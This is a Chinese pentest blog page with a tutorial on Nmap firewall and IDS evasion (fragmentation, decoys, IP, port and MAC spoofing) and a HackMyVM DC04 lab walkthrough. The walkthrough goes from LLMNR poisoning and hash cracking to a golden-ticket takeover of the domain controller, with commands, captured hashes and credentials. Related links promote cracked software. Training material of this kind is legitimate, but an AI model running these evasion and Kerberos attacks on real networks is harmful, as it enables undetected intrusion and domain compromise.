内网渗透实战：从Web打点到域控通关 暂无简介

文章推荐页 2025年11 月6日Nmap防火墙绕过技巧详解 955 162025年10 月30日【红队工具】VShell v4.9.3 高级版，国产C2工具下载及使用 2267 5628日HackMyVm-DC04：难 712 3028日HackMyVm-DC03 ：中等 760 2527日HackMyVm-DC02 ：中等 867 2427日HackMyVm-DC01 ：简单 887 2027日Hackmyvm-TriplAdvisor ：简单 792 1927日HackMyVm-Runas ：简单 776 2527日HackMyVm-Always ：简单 848 1827日HackMyVm-Nessus ：简单 779 1827日HackMyVm-Liar ：简单 621 2227日HackMyVm-Simple ：简单 903 3027日HackMyVm-Zero ：简单 771 3027日HackMyVm-quoted ：简单 624 2527日HackMyVm-OMG ：简单 899 3026日全网首发！HMV全套Windows机器提权，域渗透教程，2w字超详细 1908 2515日中秋放毒！永远9.9每月的高防云服务器！搭建自己的网安知识库！ 799 2715日vuln靶机-GoldenEye1.1，OSCP必刷靶机 928 2215日vulnhub靶机-devt-improved，nano/vim提权 789 172025年9 月11日Photographer 1-vulnhub靶机渗透 1148 2611日Nightmare (v1.0.2)-vulnhub靶机渗透 716 911日Healthcare靶机渗透，vulnhub环境变量提权 1717 3011日Stapler-vulnhub靶机渗透 1263 2211日Devguru-vulnhub靶机渗透，OSCP之路 916 2011日Breach2.0-vulnhub靶机渗透，OSCP认证之路 688 222025年8 月14日vulnhub-Toppo靶机，python、awk的SUID提权，两种提权方式 844 2113日vulnhub-STAPLER: 1 内核&sudo提权 716 192025年7 月23日红队命令速查手册 915 2318日vulnhub–GlasgowSmile-v1.1 960 2116日12款优秀的终端工具推荐，来看看有没有你喜欢的！ 902 1915日BurpSuite v2025.6.3汉化版，附激活教程 1913 3213日SRC平台推荐，挖SRC必须知道的25个漏洞提交平台 2610 1910日FeatherScan v4.0 – 适用于Linux的全自动内网信息收集工具 1798 406日sar靶机，suid计划任务提权 872 186日W34KN3SS，通过openssl漏洞公匙获取私匙 956 193日Windows提权方法一览 899 302025年6 月29日掩日-适用于红队的综合免杀工具 1080 2528日HW 中如何利用 WAF 缺陷进行绕过 1149 2224日Notepad++ v8.8.1 本地提权复现 1041 2322日2025最新渗透测试靶场推荐，新手必练的靶场推荐 3553 8720日靶机Misdirection: 1 ~ VulnHub 1132 2114日渗透测试命令汇总，常用的渗透测试命令大全 1023 2814日【内网渗透】隐藏通信隧道技术，牢饭直通车 1025 243日microsocks，一个轻量级的socks代理工具 1396 302025年5 月20日什么是OSCP国际渗透测试专家中级认证？ 1000 1818日网易云js逆向代码分析 845 2918日java框架Shiro流量分析 869 2018日Linux进程隐藏 1039 2218日Kali Linux Shell编程：基础到进阶 851 2118日【Kali笔记】shodan的20种使用方法，信息收集必备 756 2818日一款在线的免杀平台AVEvasionCraftOnline 1157 2918日使用oh-my-posh美化Windows终端 735 1718日Metasploit Framework (MSF) 使用指南 1047 1718日DIRB：一款强大的Web目录扫描工具使用指南 1088 1618日【Kali笔记】figlet终端艺术字 1002 1718日Vuln靶机Prime_Series_Level-1 1326 3818日Vuln靶机NullByte 1469 3418日Vulnhub靶机Moria1.1 587 1218日Vulnhub靶机bob 1410 3118日Vulnhub-DERPNSTINK 1 1469 3618日vulnerable_Docker，3种代理方法打入内网，frp,MSF,reGeorg 1367 2918日Tr0ll系列提权教程，Tr0ll 靶机全系列（1-3） 295 1618日Tiki提权靶机渗透 991 3018日tar、zip命令提权—zico2 956 2718日PwnLab init-文件包含、反弹shell、提权–靶机渗透思路讲解 815 2418日FristiLeaks1.3-提权靶机渗透 364 918日雷池+frp内网穿透，搭建企业级内网防护，无需花高额费用买服务器，教科书级别教学 272 1818日HTB-EscapeTwo 785 718日超长攻击链vulhub靶机，TommyBoy1dot0 1219 2818日vulnhub提权靶机SickOS系列 1639 3818日vulnhub靶机hackme 1709 3918日Sudo的上级目录提权，SkyTower 1666 2918日pWnOS系列全教程，Webmin文件披露，Simple PHP Blog渗透教程 1361 2618日Kioptrix 提权靶机（1-5）全系列教程，Try Harder！ 715 2618日JOY，ProFTPd的拷贝漏洞 1189 2918日IMF缓冲区提权渗透 1146 2618日Hack_Me_Please，js信息泄露，二级目录遍历 784 2418日FALL，wfuzz对参数的模糊测试 1109 2218日BSides-Vancouver-2018-Workshop，FTP匿名登录，wordpress渗透 778 1818日Blender软件的信息泄露—VulnOSv2 300 1518日提权靶机Node 438 918日红日靶场5，Windows内网渗透，社工提权，多种域内横向移动思路 358 1518日不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学 175 2018日靶机-election 978 2018日WEBDEVELOPER，tcpdump提权 918 2418日Vuln靶机SolidState 519 2018日稀有靶机-Readme 931 2218日红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学 833 2318日从0-1讲解RCE漏洞绕过，Windows与LinuxRCE漏洞绕过方式总结—-实战解析 678 2918日SQL注入中各种WAF的绕过方式，狗，盾，神，锁，宝 659 1718日文件上传10种WAF绕过姿势 1482 3918日upload-labs通关全教程（建议萌新收藏）Web安全-文件上传漏洞超详细解析 1342 3118日文件包含_PHP filter伪协议利用方式 1383 3018日从零开始学习文件包含 1324 3018日PHP反序列化漏洞从入门到深入8k图文介绍，以及phar伪协议的利用 1340 3818日XSS高级用法，SEO，挂ma，MS14_064利用 1166 2918日Web安全中的XSS攻击详细教学，XSS-Labs靶场通关全教程（建议收藏） 909 3018日phpStudy 小皮 Windows面板 存在RCE漏洞（nday） 826 2418日Kali下安装与使用BeEF-XSS 804 2418日【WAF剖析】10种XSS某狗WAF绕过姿势 930 2118日CTFHub技能树通关教程——SSRF漏洞原理攻击与防御 1024 2018日某cms的渗透测试过程 1180 2418日放开双手 ，SQL注入Fuzzing字典 （270个） 653 1118日从零开始学SQL注入（sql十大注入类型）：技术解析与实战演练 408 1918日安全狗WAF绕过-SQL注入 262 1018日SQL注入之dnslog 373 1918日1w字带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透 386 1518日DC-2综合渗透，rbash逃逸，git提权，wordpress靶场渗透教程 864 2218日DC-1综合靶场渗透从外网打到内网，权限提升，入侵痕迹清除，干货，建议收藏 784 2418日DC1-9(全)Linux提权靶机渗透教程 817 1818日AIWEB1综合靶场通关教程【附靶场环境】 860 2018日【渗透测试】DC-3提权靶场渗透教程 897 2418日棱镜X单兵渗透平台 1091 2918日SPF机制进行邮件钓鱼 875 2418日FTP匿名登录 934 2718日CS与MSF联动 900 2518日Linux隐身登录 1405 3718日【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF，CS 1641 2718日内网隐蔽扫描，Nmap高级用法 1789 3318日【内网渗透】免工具，内网和域内信息收集的40种方式总结 821 1818日渗透测试rbash逃逸 1099 1918日什么是域？如何搭建一个简单的域环境？ 773 2418日find基础命令与提权教程 964 2618日【Kali笔记】MSF内网渗透，免杀过360 992 2118日Windows和Linux的命令混淆方式 311 818日Hadoop & Redis未授权访问漏洞，靶场实战——Vulfocus 343 818日伪静态注入总结 211 1218日Windows渗透操作系统 1336 3918日CTF-OS，一个专门为CTF设计的操作系统 1083 2718日几个常见的密码字典推荐 1967 3118日渗透测试中16款谷歌插件最全分享 1110 3718日车联网渗透系统 1079 2618日比Kali更稳定，工具更多，更加适合开发的操作系统blackarch 1285 2618日burp suite31款插件分享 1134 2818日2024年7月JetBrAIns全家桶激活到2099年工具分享，pycharm、IDE、phpStorm等专业版激活工具 815 3118日2024 最新 Kali Linux 定制化魔改，完整版添加常见60渗透工具 1006 3318日【渗透工具箱】灵兔宝盒-Rabbit_Treasure_Box_V1.0.1 1060 4018日深入某CMS渗透测试：从弱口令到接管webshell 654 2718日CISP-PTE综合练习win2003 974 2318日CISP-PTE综合靶场解析，MSF综合利用MS14-058【附靶场环境】 782 2118日CISP-PTE考试靶场及通关攻略（附靶场源码） 1415 2318日GZCTF动态flag部署教程 1469 2818日GZCTF比赛平台搭建——单Docker部署 671 2318日信息收集：网络空间测绘FOFA，查询语法最全使用方法（图文解析） 816 1618日灯塔安装教程 1169 2018日九头蛇thc-hydra密码爆破，九头蛇简单使用 304 11

Nmap防火墙绕过技巧详解 防火墙与入侵检测系统（IDS）的核心工作逻辑，是依托规则匹配机制甄别并拦截异常扫描流量，比如识别 Nmap 标准探测包特征、单一源 IP 高频请求等行为。以下四类 Nmap 防火墙绕过技巧，核心思路在于利用设备规则漏洞，包括数据包片段重组缺陷、IP / 端口信任策略、流量特征识别盲区等，实现隐蔽扫描操作。所有操作均需获取 root 权限以构造自定义数据包，且必须在合法授权范围内执行。因缺乏实体防火墙设备，本文以本地靶机为测试环境展开演示，重点记录各类绕过技术的核心逻辑与操作方法。1 报文分段绕过1.1 技术原理多数防火墙与 IDS 设备会对完整的 TCP 或 UDP 数据包特征进行检测，比如 Nmap 默认探测包的标志位、数据长度等。Nmap 的-f参数可将扫描数据包拆分为小型片段，默认按 MTU 576 字节拆分后，每个片段仅 16 字节左右。部分老旧防火墙与 IDS 不具备数据包重组能力，拆分后的扫描流量难以被其识别，进而实现对拦截机制的规避。1.2 实操命令假设目标主机 10.10.10.178 的 80 端口已被防火墙过滤，可通过分段 + SYN 扫描精准探测该端口状态，命令如下：Nmap -f -sS 10.10.10.178 -p 80 # 分段+SYN扫描，重点探测80端口 执行结果示例结果解读未启用-f参数时，80 端口通常会显示为filtered状态，即无有效响应；启用分段功能后，拆分后的数据包可绕过防火墙检测，目标主机的响应会使端口状态变为open|filtered，后续可通过补充探测验证端口是否真正开放。1.3 适用场景适用：该技巧对不支持数据包重组功能的老旧防火墙效果显著，典型代表如部分企业仍在使用的旧版 Cisco ASA 设备。注意：现代主流防火墙（如 Palo Alto、华为 USG）均具备完善的数据包重组能力，该技术大概率失效。数据包拆分后会增加传输耗时，扫描速度明显变慢，可搭配-T4参数优化效率，命令为sudo Nmap -f -T4 -sS 10.10.10.178。2 自定义最大传输单元2.1 技术原理MTU（最大传输单元）指网络中可传输的单个数据包最大长度，以太网环境默认 MTU 值为 1500 字节。防火墙常针对标准 MTU 尺寸的数据包制定严格检测规则，Nmap 的--mtu参数可自定义数据包 MTU 值（需为 8 的倍数，常见可选值如 1480、1472 等）。通过发送非标准 MTU 尺寸的数据包，可避开防火墙针对标准流量的拦截策略，本质是报文分段技术的灵活进阶版本。2.2 实操命令若目标主机 10.10.10.178 的 443 端口被防火墙基于 MTU 1500 的规则过滤，可自定义 MTU 值进行探测，命令如下：sudo Nmap --mtu 1480 -sS 10.10.10.178 -p 443 # 自定义MTU 1480，扫描443端口 执行结果示例结果解读将 MTU 值设置为非标准的 1480 后，数据包长度脱离防火墙预设检测范围，拦截规则失效，可成功探测到 443 端口的实际开放状态。2.3 适用场景适用场景：当防火墙针对默认 MTU 1500 字节数据包设置专项检测规则，或-f参数的分段效果不佳时，自定义 MTU 是更优选择。注意事项：自定义 MTU 值必须严格遵循 8 的倍数规则（如 1480=8×185、1472=8×184），否则命令会直接报错无法执行。MTU 最小值建议不低于 64 字节，过小的数据包可能被防火墙判定为无效流量直接丢弃。3 诱饵隐藏扫描3.1 技术原理防火墙的核心检测逻辑之一是识别单一源 IP 的高频请求行为，以此判定扫描攻击。Nmap 的-D参数可生成多个虚拟诱饵 IP，这些 IP 可随机生成或手动指定固定地址，与真实扫描 IP 同步发送探测数据包。目标主机的日志会记录多个 IP 的并发请求，防火墙无法精准区分真实扫描源，从而实现真实 IP 的隐藏，避免被纳入黑名单。3.2 实操命令对目标主机 10.10.10.178 进行扫描时，可配置 3 个随机诱饵 IP 与 1 个内网网关固定诱饵 IP（10.10.10.1），命令如下：sudo Nmap -D RND:3,10.10.10.1 -sS 10.10.10.178 # 3个随机诱饵+1个固定诱饵 执行结果示例Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-05 09:50 CST Nmap scan report for 10.10.10.178 Host is up (0.00068s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https # 关键：目标防火墙日志会记录以下IP的请求，无法定位真实扫描端 # 诱饵IP：10.10.10.1（固定）、10.10.10.56（随机）、10.10.10.123（随机）、10.10.10.201（随机） # 真实IP：未单独记录，混在诱饵中 Nmap done: 1 IP address (1 host up) scanned in 2.15 seconds 结果解读扫描执行后，目标防火墙日志会同时记录多个 IP 的访问请求，包括固定诱饵 IP 10.10.10.1、3 个随机生成的诱饵 IP（如 10.10.10.56、10.10.10.123、10.10.10.201），真实扫描 IP 的请求会混在其中无法区分，有效规避了单一 IP 被拉黑的风险。最终探测结果显示，目标主机 22、80、443 等端口处于开放状态。3.3 适用场景适用场景：该技术适用于公网渗透测试等需要隐藏真实 IP 的场景，尤其适合对远程目标服务器的匿名探测。注意事项：诱饵 IP 需选择可达的有效地址，比如内网网段内的闲置 IP，无效 IP 发送的请求易被防火墙识别为异常扫描。诱饵数量建议控制在 3-5 个，数量过多会大幅增加扫描耗时，数量过少则无法达到有效的隐藏效果。4 源地址欺骗4.1 技术原理部分防火墙会配置 IP 白名单访问控制策略，仅允许特定可信 IP（如内网管理 IP、合作伙伴服务器 IP）访问目标端口。Nmap 的-S参数可将扫描数据包的源 IP 地址伪装为白名单中的可信地址，防火墙验证源 IP 符合信任规则后，会允许请求通过，从而绕过 IP 过滤机制实现扫描。4.2 实操命令假设目标主机 10.10.10.178 的防火墙仅允许内网管理 IP 10.10.10.2 访问 3389 端口，可通过伪装源 IP 进行探测，命令如下：sudo nmap -S 10.10.10.2 -sS 10.10.10.178 -p 3389 # 伪装成10.10.10.2（白名单IP） 执行结果示例Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-05 10:00 CST Nmap scan report for 10.10.10.178 Host is up (0.00071s latency). PORT STATE SERVICE 3389/tcp open ms-wbt-server # 原本被IP过滤的3389端口，现在显示open（伪装生效） Nmap done: 1 IP address (1 host up) scanned in 0.85 seconds 结果解读源 IP 伪装为白名单中的 10.10.10.2 后，防火墙放行该请求，扫描结果显示 3389 端口（ms-wbt-server 服务）处于开放状态，表明地址欺骗生效，成功绕过了 IP 过滤限制。4.3 适用场景适用场景：适用于已知防火墙 IP 白名单的场景，比如内网渗透测试中已获取管理 IP 信息，需访问被 IP 限制的关键端口时。注意事项：伪装的 IP 地址必须在防火墙白名单范围内，且扫描端与目标主机需保持通信可达，同网段环境下效果最佳，跨网段需依赖路由转发支持。由于目标主机会将响应数据包发送至伪装 IP，而非真实扫描端，可能无法直接接收响应结果，建议搭配-Pn（跳过 ping 检测）和-v（详细模式）确认扫描执行状态。5 源端口欺骗5.1 技术原理防火墙多针对数据包的源端口配置访问控制规则，常见策略是仅允许源端口为 53（DNS 服务）、80（HTTP 服务）、443（HTTPS 服务）等常用业务端口的请求通过，这类端口被默认为正常业务流量。Nmap 的--source-port参数（简写为-g）可手动指定扫描数据包的源端口，通过伪装成防火墙信任的正常业务端口，规避其端口过滤机制，实现扫描流量的放行。5.2 实操命令若目标主机 10.10.10.178 的防火墙仅允许源端口为 53（DNS）的请求访问 80 端口，可通过指定源端口的方式探测，命令如下：sudo nmap -g 53 -sS 10.10.10.178 -p 80 # 指定源端口53（DNS），扫描80端口 执行结果示例Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-05 10:10 CST Nmap scan report for 10.10.10.178 Host is up (0.00065s latency). PORT STATE SERVICE 80/tcp open http # 原本被源端口过滤的80端口，现在显示open（端口欺骗生效） Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds 结果解读扫描数据包的源端口被伪装为 53 后，防火墙将其判定为 DNS 关联的正常 HTTP 请求，未执行拦截操作。扫描结果显示 80 端口处于 open 状态，表明源端口欺骗成功，有效绕过了防火墙的端口限制规则。5.3 适用场景适用场景：适用于防火墙配置了源端口白名单的环境，尤其当目标端口被限制仅允许常见业务端口访问时，该技术效果显著。注意事项：指定的源端口不能被本地其他服务占用，例如本地已启动 DNS 服务时，端口 53 处于占用状态，执行命令会直接报错。优先选择 53、80、443 等高频使用的业务端口，这类端口被防火墙纳入信任范围的概率更高，欺骗成功率也随之提升。6 附加随机数据6.1 技术原理入侵检测系统（IDS）多依赖 Nmap 标准探测包的固定特征（如固定数据长度、无额外附加数据）识别扫描行为。Nmap 的--data-length参数可在探测包中添加指定字节数的随机数据（如 100 字节），通过改变数据包的原有特征，让 IDS 的特征库无法精准匹配，从而绕过其检测机制。6.2 实操命令对目标主机 10.10.10.178 进行扫描时，可在探测包中附加 100 字节随机数据，命令如下：sudo nmap --data-length 100 -sS 10.10.10.178 # 附加100字节随机数据 执行结果示例Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-05 10:20 CST Nmap scan report for 10.10.10.178 Host is up (0.00073s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https # 关键：IDS未识别到扫描流量（因数据包含100字节随机数据，特征不匹配） # 未用--data-length时，该扫描会被IDS拦截，端口显示filtered Nmap done: 1 IP address (1 host up) scanned in 1.32 seconds 结果解读未使用--data-length参数时，扫描流量会因匹配 IDS 中的 Nmap 标准包特征被拦截，端口状态多显示为 filtered；附加 100 字节随机数据后，数据包特征发生改变，与 IDS 预设规则不匹配，未被拦截。最终探测到目标主机 22、80、443 等端口处于开放状态，扫描达到预期效果。6.3 适用场景适用场景：该技术对依赖固定特征库检测的 IDS 效果明显，例如旧版 Snort 等传统入侵检测系统，需模糊扫描流量特征时可优先使用。注意事项：随机数据长度建议控制在 50-200 字节区间，长度过小则难以改变数据包核心特征，过大可能被防火墙判定为异常流量直接丢弃。对基于行为分析的 IDS（如采用机器学习算法的检测系统）效果有限，这类系统不依赖固定特征，而是通过流量行为模式识别异常。7 MAC 地址欺骗7.1 技术原理局域网环境中的防火墙或交换机，部分会基于 MAC 地址配置访问过滤策略，仅允许特定可信设备（如内网打印机、核心服务器）的 MAC 地址访问目标资源。Nmap 的--spoof-mac参数可将扫描数据包的源 MAC 地址伪装为该信任列表中的地址，二层网络设备（如交换机）会将其判定为可信设备的请求，不执行拦截操作，从而实现绕过。该技术仅适用于局域网环境，因 MAC 地址属于二层通信标识，无法跨路由进行传输。7.2 实操命令假设目标主机 10.10.10.178（同局域网内）的交换机仅允许 MAC 地址为00:0C:29:12:34:56（内网打印机）的设备访问，可通过伪装该 MAC 地址扫描，命令如下：sudo nmap --spoof-mac 00:0C:29:12:34:56 -sS 10.10.10.178 # 伪装成打印机MAC 执行结果示例Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-05 10:30 CST Nmap scan report for 10.10.10.178 Host is up (0.00069s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http # 关键：交换机未拦截请求（因源MAC是信任的打印机MAC） # 未伪装时，扫描被交换机MAC过滤，端口显示filtered Nmap done: 1 IP address (1 host up) scanned in 0.92 seconds 结果解读源 MAC 地址伪装为信任的打印机地址后，局域网交换机未对扫描请求进行拦截，成功探测到目标主机 22、80 端口处于开放状态。未伪装时，扫描请求会被 MAC 过滤规则阻断，端口状态显示为 filtered，对比可见欺骗效果显著。7.3 适用场景适用场景：主要用于局域网渗透测试，例如内网环境中需绕过交换机的 MAC 白名单限制，访问被管控的目标主机时。注意事项：伪装的 MAC 地址需符合标准格式（如00:0C:29:xx:xx:xx，VMware 虚拟设备默认 MAC 前缀），可通过arp -a命令查看目标网段内的可信设备 MAC 地址。跨路由扫描时该技术完全无效，因为路由转发过程中会将数据包的源 MAC 地址替换为网关设备的 MAC 地址。8 总结Nmap 防火墙绕过技术的核心逻辑，均围绕利用防火墙 / IDS 的规则漏洞展开，通过改变数据包特征、隐藏真实访问源、伪装可信身份等方式，规避拦截机制。不同技术的适用场景与核心要点存在差异，实际应用中需结合目标网络环境（如局域网 / 公网）、设备类型（老旧 / 现代防火墙）、防护规则（IP / 端口 / MAC 白名单）等因素选择合适方案。往期推荐新版BurpSuite v2025.6.3汉化版，附激活教程Fine！2025最新款信息收集综合工具若依Vue漏洞检测工具v7更新最好用的下一代目录爆破工具，全方位的目录爆破集成MemProcFS，Vol2和Vol3的内存取证神器重大更新！FeatherScan v4.5 内网 Linux 信息收集，提权一键梭哈神器x-WAF，一个基于fuzz的WAF绕过渗透工具这10款内网穿透工具，一定有你没用过的红队命令速查手册挖SRC必须知道的25个漏洞提交平台挖SRC必须知道的25个漏洞提交平台FeatherScan v4.0 - 一款Linux内网全自动信息收集工具掩日-适用于红队的综合免杀工具2025最新渗透测试靶场推荐近400个渗透测试常用命令，信息收集、web、内网、隐藏通信、域渗透等等【内网渗透】隐藏通信隧道技术内网渗透必备，microsocks，一个轻量级的socks代理工具神器分享 红队快速打点工具-DarKnuclei红日靶场5，windows内网渗透，社工提权，多种域内横向移动思路【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！一个永久的渗透知识库【OSCP】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备，microsocks，一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！DC-2综合渗透，rbash逃逸，git提权，wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5，windows内网渗透，社工提权，多种域内横向移动思路红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略SQL注入中各种WAF的绕过方式，狗，盾，神，锁，宝利用MySQL特性，WAF绕过技巧SQL注入绕过某狗的WAF防火墙，这一篇就够了，6k文案超详细大型翻车现场，十种WAF绕过姿势，仅成功一种喜欢长文吗？1w字图文带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透

HackMyVm-DC04：难 14.1 外网打点nmap -sS -p- -T4 192.168.0.103 | grep -E '^[0-9]+/tcp' | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'nmap -sS -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49680,49710,49765 -T4 192.168.0.103 -A自动重定向到这个域名编辑下面的文件，将ip和域名加入进去# Windows C:\Windows\System32\drivers\etc\hostsLinux也要，不然扫描不到东西，这里他变成了重定向次数过多，而不是之前的无法访问网站echo "192.168.0.103 soupedecode.local" >> /etc/hosts使用dir进行目录扫描，扫出来一个这个目录dirb http://soupedecode.local还有一个服务器信息http://soupedecode.local/server-info这里有一个服务版本，可以使用searchsploit检索一下（没有发现任何有用的东西）我们一直往下翻，翻到了这个东西继续将这个域名添加到hosts中，就可以访问站点了，是一个登录框14.2 后台爆破打开burp，fuzz SQL注入、xss字典，都没有结果，使用相同的账号密码字典爆破也没有结果继续信息收集SMBclient -L //192.168.0.103/ -N后续也尝试了各种枚举，也没有东西。。。。。。后边去看了看别人写的，就是这个机子很容易出问题，爆破几次后，后面怎么爆破都是403了最后爆破出来账号密码是 admin:nimda登录成功后会要求你输入ip地址可能是命令执行，但是尝试各种命令执行都失败了，只要和|，&相关的都不行，看来是做了过滤【RCE剖析】从0-1讲解RCE漏洞绕过，Windows与Linux/RCE漏洞绕过方式总结----实战解析14.3 LLMNR那就来试试DC3的LLMNR，我们在这个输入框里输入kali的ip地址responder -I eth0 -wdecho "websvc::soupedecode:e2985b38b501aed2:E5E63AAD4B475A06D1ECE4C7F78A2E60:010100000000000080646EFE3946DC01F711F570D52509F5000000000200080045004B0042004F0001001E00570049004E002D0043003700380051004F0038004100440032003100490004003400570049004E002D0043003700380051004F003800410044003200310049002E0045004B0042004F002E004C004F00430041004C000300140045004B0042004F002E004C004F00430041004C000500140045004B0042004F002E004C004F00430041004C000700080080646EFE3946DC01060004000200000008003000300000000000000000000000004000005C18B02FEAC5263030D32A3F0BCCDD51E0CAD786D3DFBABF65601AC3E74CE55D0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0030002E003100340038000000000000000000" > hash john hash --wordlist=/usr/share/wordlists/rockyou.txtwebsvc:jordan23密码已过期，应该知道怎么搞了吧14.5 近源攻击！按住esc进入选择用户界面，然后根据步骤一步一步走输入原来的账号密码选择ok，说明你密码输入对了随后就可以修改你的账号密码了14.6 SMB信息收集账号密码 websvc:jordan23SMBclient -L //192.168.0.103 -U "SOUPEDECODE.LOCAL/websvc%admin123"在c盘找到第一个flagSMBclient //192.168.0.103/C -U "SOUPEDECODE.LOCAL/websvc%admin123"14.7 查询域内SPN关联用户有了域内的账号密码，再来看看SPN，查询域内所有关联了 SPN 的用户，用来获取他们的凭据，没有结果14.8 枚举域内用户SIDpython /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/websvc@192.168.0.103 > users grep "SidTypeUser" /data/demo/users | awk -F '\\\\' '{print $2}' | awk '{print $1}' | sort -u > /data/demo/target_users.txt14.9 获取不需要预认证用户的AS-REP哈希结果没有impacket-GetNPUsers -dc-ip 192.168.0.103 soupedecode.local/ -usersfile target_users.txt > hash cat hash | grep +14.10 ldapdomaindump收集 LDAP 信息，获取域内用户列表、权限分组（如 Domain Admins）、账号状态（启用 / 禁用），锁定高价值目标（如 Administrator）。ldapdomaindump -u "SOUPEDECODE.LOCAL\websvc" -p admin123 192.168.0.103 python -m http.server访问8000端口，看到用户不属于任何特权组，仅仅是普通用户仔细翻翻看，找到一个默认的账号密码rtina979 ：Z~l3JhcV#7Q-1#M同样的密码过期，需要近源攻击！SMBclient //192.168.0.103/C$ -U "SOUPEDECODE.LOCAL/rtina979%Z~l3JhcV#7Q-1#M"这里给你们一张表，输入清楚了哈，我输了十多遍，艹14.11 二次SMB信息收集此时就能正常登录了在rtina979用户的Documents文件夹里找到一个rar压缩包，把它下载下来解压需要密码fcrackzip 工具只能用于破解 ZIP 文件，而我们的文件是 RAR 格式。使用 rar2john 将 RAR 文件转换为 John the Ripper 可识别的哈希格式。提取哈希：rar2john Report.rar > report_hash.txt使用字典攻击（使用 rockyou.txt）：john --wordlist=/usr/share/wordlists/rockyou.txt report_hash.txt解压，输入密码PASSWORD123解压出来会发现当前目录有一个htm文件是一个渗透测试报告在这个报告最后，能看到krbtgt的hash内容14.12 黄金票据攻击条件： 获取 KRBTGT 账户哈希 - 通过 DCSync 或其他方式 获取域 SID - 通过 LDAP 或 SMB 枚举 知道域名 - 目标域的完整名称 获取到了KRBTGT哈希 先验证一下是否是正确的，红色代表失败，紫色代表hash正确，或者账户禁用，或者密码过期等等0f55cdc40bd8f5814587f7e6b2f85e6f14.12.1 获取域SID域SID为：S-1-5-21-2986980474-46765180-2505414164python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/rtina979@192.168.0.10314.12.2 同步域时间在平时可能会遇到kali和靶机的时间一直都不同步，怎么使用ntpdate或者其他时间同步工具，就是同步不起来，就需要使用下面第一行的命令了systemctl stop systemd-timesyncd # 停止自动时间同步服务 ntpdate 192.168.0.103 # 强制同步时间14.12.3 生成管理员的黄金票据impacket-ticketer -nthash 0f55cdc40bd8f5814587f7e6b2f85e6f -domain-sid S-1-5-21-2986980474-46765180-2505414164 -domain soupedecode.local administrator14.12.4 导入票据到环境变量export KRB5CCNAME=administrator.ccache14.12.5 使用票据impacket-wmiexec soupedecode.local/administrator@dc01.soupedecode.local -k -target-ip 192.168.0.103至此渗透完成啦14.13 总结DC04 域渗透从外网打点起步，nmap 扫描发现目标开放 80、88、445 等端口，访问 80 端口需配置 hosts 解析域名，目录扫描找到后台登录页。爆破无果后，利用后台 IP 输入框发起 LLMNR 投毒，捕获 websvc 用户哈希并破解密码，通过近源攻击修改过期密码。登录 SMB 获取首个 flag 后，枚举域用户发现 rtina979 账号及密码，再次近源攻击修改密码。登录其 SMB 下载加密压缩包，破解后得到渗透报告，从中提取 krbtgt 用户哈希。获取域 SID 并同步时间后，生成 Administrator 黄金票据，导入环境变量后通过 wmiexec 成功登录域控，获取最高权限，全程依赖凭据获取与票据攻击，突破多重限制完成渗透。往期推荐全网首发！HMV全套Windows机器提权，域渗透教程，2w字超详细HackMyVm-DC04 ：简单HackMyVm-DC03 ：简单HackMyVm-DC02 ：简单HackMyVm-DC01 ：简单HackMyVm-TriplAdvisor ：简单HackMyVm-Runas ：简单HackMyVm-Always ：简单HackMyVm-Nessus ：简单HackMyVm-Liar ：简单HackMyVm-Simple ：简单HackMyVm-Simple ：简单HackMyVm-Zero ：简单HackMyVm-OMG ：简单新版BurpSuite v2025.6.3汉化版，附激活教程Fine！2025最新款信息收集综合工具若依Vue漏洞检测工具v7更新最好用的下一代目录爆破工具，全方位的目录爆破集成MemProcFS，Vol2和Vol3的内存取证神器重大更新！FeatherScan v4.5 内网 Linux 信息收集，提权一键梭哈神器x-WAF，一个基于fuzz的WAF绕过渗透工具这10款内网穿透工具，一定有你没用过的红队命令速查手册挖SRC必须知道的25个漏洞提交平台挖SRC必须知道的25个漏洞提交平台FeatherScan v4.0 - 一款Linux内网全自动信息收集工具掩日-适用于红队的综合免杀工具2025最新渗透测试靶场推荐近400个渗透测试常用命令，信息收集、web、内网、隐藏通信、域渗透等等【内网渗透】隐藏通信隧道技术内网渗透必备，microsocks，一个轻量级的socks代理工具神器分享 红队快速打点工具-DarKnuclei红日靶场5，Windows内网渗透，社工提权，多种域内横向移动思路【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！一个永久的渗透知识库【OSCP】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备，microsocks，一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try 